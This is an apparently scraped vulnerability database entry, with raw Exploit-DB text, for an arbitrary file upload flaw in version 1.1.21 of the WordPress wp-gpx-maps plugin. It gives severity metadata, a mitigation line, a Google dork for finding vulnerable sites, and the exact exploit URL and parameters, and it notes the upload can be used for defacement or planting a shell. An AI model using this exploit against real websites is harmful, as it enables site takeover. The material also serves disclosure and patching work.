Wordpress wp-gpx-map version 1.1.21 Arbitrary File Upload

vendor:

Wordpress wp-gpx-map

by:

Adrien Thierry

7,5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: Wordpress wp-gpx-map

Affected Version From: 1.1.21

Affected Version To: 1.1.21

Patch Exists: Yes

Related CWE: N/A

CPE: a:darwinner:wp-gpx-map:1.1.21

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

WordPress wp-gpx-map version 1.1.21 Arbitrary File Upload

An attacker can upload malicious files to the vulnerable Wordpress wp-gpx-map version 1.1.21 by accessing the URL http://my-site.com/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php?realGpxPath=.&target_path=.&gpxRegEx=// and changing the file path with target_path.

Mitigation:

Upgrade to the latest version of Wordpress wp-gpx-map and ensure that all plugins are up to date.

Source

Exploit-DB raw data:

###########################################################
#
# Exploit Title: Wordpress wp-gpx-map version 1.1.21 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/wp-gpx-maps/
# Date: 11/05/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage: http://www.darwinner.it/
# Software Link: http://downloads.wordpress.org/plugin/wp-gpx-maps.1.1.21.zip
# Version: 1.1.21
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php

exploit :

Go to url :

http://my-site.com/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php?realGpxPath=.&target_path=.&gpxRegEx=//

And you can upload what you want. You could change file path with target_path (deface, shell etc...)

#####################################################################